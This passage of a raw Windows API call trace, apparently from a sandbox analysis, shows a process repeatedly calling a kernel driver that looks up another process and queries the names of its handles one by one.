ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00208cd00, HandleInformation=0x0) returned 0x0 [0121.249] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.249] PsReleaseProcessExitSynchronization () returned 0x2 [0121.249] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.249] ObQueryNameString (in: Object=0xfffff8a00208cd00, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.249] ObfDereferenceObject (Object=0xfffff8a00208cd00) returned 0x1 [0121.249] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.249] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.249] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.249] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.249] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.249] PsAcquireProcessExitSynchronization () returned 0x0 [0121.249] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.249] ObReferenceObjectByHandle (in: Handle=0x5fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001fb0c00, HandleInformation=0x0) returned 0x0 [0121.249] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.249] PsReleaseProcessExitSynchronization () returned 0x2 [0121.249] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.249] ObQueryNameString (in: Object=0xfffff8a001fb0c00, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.249] ObfDereferenceObject (Object=0xfffff8a001fb0c00) returned 0x1 [0121.249] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.249] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.249] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.249] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.249] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.249] PsAcquireProcessExitSynchronization () returned 0x0 [0121.249] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.249] ObReferenceObjectByHandle (in: Handle=0x60c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002081e00, HandleInformation=0x0) returned 0x0 [0121.249] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.249] PsReleaseProcessExitSynchronization () returned 0x2 [0121.250] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.250] ObQueryNameString (in: Object=0xfffff8a002081e00, ObjectNameInfo=0xfffffa80020f1044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020f1044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.250] ObfDereferenceObject (Object=0xfffff8a002081e00) returned 0x1 [0121.250] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.250] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.250] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.250] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.250] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.250] PsAcquireProcessExitSynchronization () returned 0x0 [0121.250] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.250] ObReferenceObjectByHandle (in: Handle=0x61c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001f84400, HandleInformation=0x0) returned 0x0 [0121.250] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.250] PsReleaseProcessExitSynchronization () returned 0x2 [0121.250] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.250] ObQueryNameString (in: Object=0xfffff8a001f84400, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.250] ObfDereferenceObject (Object=0xfffff8a001f84400) returned 0x1 [0121.250] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.250] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.250] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.250] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.250] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.250] PsAcquireProcessExitSynchronization () returned 0x0 [0121.250] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.250] ObReferenceObjectByHandle (in: Handle=0x62c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0020a4eb0, HandleInformation=0x0) returned 0x0 [0121.250] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.250] PsReleaseProcessExitSynchronization () returned 0x2 [0121.250] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.250] ObQueryNameString (in: Object=0xfffff8a0020a4eb0, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.250] ObfDereferenceObject (Object=0xfffff8a0020a4eb0) returned 0x1 [0121.250] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.250] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.250] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.250] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.250] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.251] PsAcquireProcessExitSynchronization () returned 0x0 [0121.251] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.251] ObReferenceObjectByHandle (in: Handle=0x63c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0020a0890, HandleInformation=0x0) returned 0x0 [0121.251] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.251] PsReleaseProcessExitSynchronization () returned 0x2 [0121.251] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.251] ObQueryNameString (in: Object=0xfffff8a0020a0890, ObjectNameInfo=0xfffffa8002108044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8002108044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.251] ObfDereferenceObject (Object=0xfffff8a0020a0890) returned 0x1 [0121.251] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.251] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.251] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.251] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.251] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.251] PsAcquireProcessExitSynchronization () returned 0x0 [0121.251] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.251] ObReferenceObjectByHandle (in: Handle=0x64c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002089700, HandleInformation=0x0) returned 0x0 [0121.251] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.251] PsReleaseProcessExitSynchronization () returned 0x2 [0121.251] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.251] ObQueryNameString (in: Object=0xfffff8a002089700, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0121.251] ObfDereferenceObject (Object=0xfffff8a002089700) returned 0x1 [0121.251] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.251] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.251] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.251] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.251] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.251] PsAcquireProcessExitSynchronization () returned 0x0 [0121.251] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.251] ObReferenceObjectByHandle (in: Handle=0x65c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0020997e0, HandleInformation=0x0) returned 0x0 [0121.252] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.252] PsReleaseProcessExitSynchronization () returned 0x2 [0121.252] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.252] ObQueryNameString (in: Object=0xfffff8a0020997e0, ObjectNameInfo=0xfffffa80019fa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fa044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.252] ObfDereferenceObject (Object=0xfffff8a0020997e0) returned 0x1 [0121.252] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.252] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.252] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.252] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.252] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.252] PsAcquireProcessExitSynchronization () returned 0x0 [0121.252] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.252] ObReferenceObjectByHandle (in: Handle=0x66c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0020ad780, HandleInformation=0x0) returned 0x0 [0121.252] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.252] PsReleaseProcessExitSynchronization () returned 0x2 [0121.252] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.252] ObQueryNameString (in: Object=0xfffff8a0020ad780, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.252] ObfDereferenceObject (Object=0xfffff8a0020ad780) returned 0x1 [0121.252] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.252] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.252] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.252] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.252] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.252] PsAcquireProcessExitSynchronization () returned 0x0 [0121.252] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.252] ObReferenceObjectByHandle (in: Handle=0x67c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00204d540, HandleInformation=0x0) returned 0x0 [0121.252] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.252] PsReleaseProcessExitSynchronization () returned 0x2 [0121.252] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.252] ObQueryNameString (in: Object=0xfffff8a00204d540, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.252] ObfDereferenceObject (Object=0xfffff8a00204d540) returned 0x1 [0121.252] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.252] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.253] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.253] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.253] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.253] PsAcquireProcessExitSynchronization () returned 0x0 [0121.253] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.253] ObReferenceObjectByHandle (in: Handle=0x68c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002094340, HandleInformation=0x0) returned 0x0 [0121.253] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.253] PsReleaseProcessExitSynchronization () returned 0x2 [0121.253] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.253] ObQueryNameString (in: Object=0xfffff8a002094340, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.253] ObfDereferenceObject (Object=0xfffff8a002094340) returned 0x1 [0121.253] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.253] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.253] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.253] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.253] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.253] PsAcquireProcessExitSynchronization () returned 0x0 [0121.253] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.253] ObReferenceObjectByHandle (in: Handle=0x69c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001f6c480, HandleInformation=0x0) returned 0x0 [0121.253] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.253] PsReleaseProcessExitSynchronization () returned 0x2 [0121.253] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.253] ObQueryNameString (in: Object=0xfffff8a001f6c480, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.253] ObfDereferenceObject (Object=0xfffff8a001f6c480) returned 0x1 [0121.253] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.253] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.253] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.253] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.253] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.253] PsAcquireProcessExitSynchronization () returned 0x0 [0121.253] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.253] ObReferenceObjectByHandle (in: Handle=0x6ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002082c30, HandleInformation=0x0) returned 0x0 [0121.253] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.254] PsReleaseProcessExitSynchronization () returned 0x2 [0121.254] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.254] ObQueryNameString (in: Object=0xfffff8a002082c30, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.254] ObfDereferenceObject (Object=0xfffff8a002082c30) returned 0x1 [0121.254] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.254] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.254] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.254] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.254] PsAcquireProcessExitSynchronization () returned 0x0 [0121.254] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.254] ObReferenceObjectByHandle (in: Handle=0x6bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002063a30, HandleInformation=0x0) returned 0x0 [0121.254] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.254] PsReleaseProcessExitSynchronization () returned 0x2 [0121.254] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.254] ObQueryNameString (in: Object=0xfffff8a002063a30, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.254] ObfDereferenceObject (Object=0xfffff8a002063a30) returned 0x1 [0121.254] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.254] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.254] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.254] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.254] PsAcquireProcessExitSynchronization () returned 0x0 [0121.254] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.254] ObReferenceObjectByHandle (in: Handle=0x6cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0020879e0, HandleInformation=0x0) returned 0x0 [0121.254] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.254] PsReleaseProcessExitSynchronization () returned 0x2 [0121.254] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.254] ObQueryNameString (in: Object=0xfffff8a0020879e0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.254] ObfDereferenceObject (Object=0xfffff8a0020879e0) returned 0x1 [0121.254] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.254] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.255] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.255] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.255] PsAcquireProcessExitSynchronization () returned 0x0 [0121.255] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.255] ObReferenceObjectByHandle (in: Handle=0x6e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002094180, HandleInformation=0x0) returned 0x0 [0121.255] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.255] PsReleaseProcessExitSynchronization () returned 0x2 [0121.255] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.255] ObQueryNameString (in: Object=0xfffff8a002094180, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.255] ObfDereferenceObject (Object=0xfffff8a002094180) returned 0x1 [0121.255] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.255] 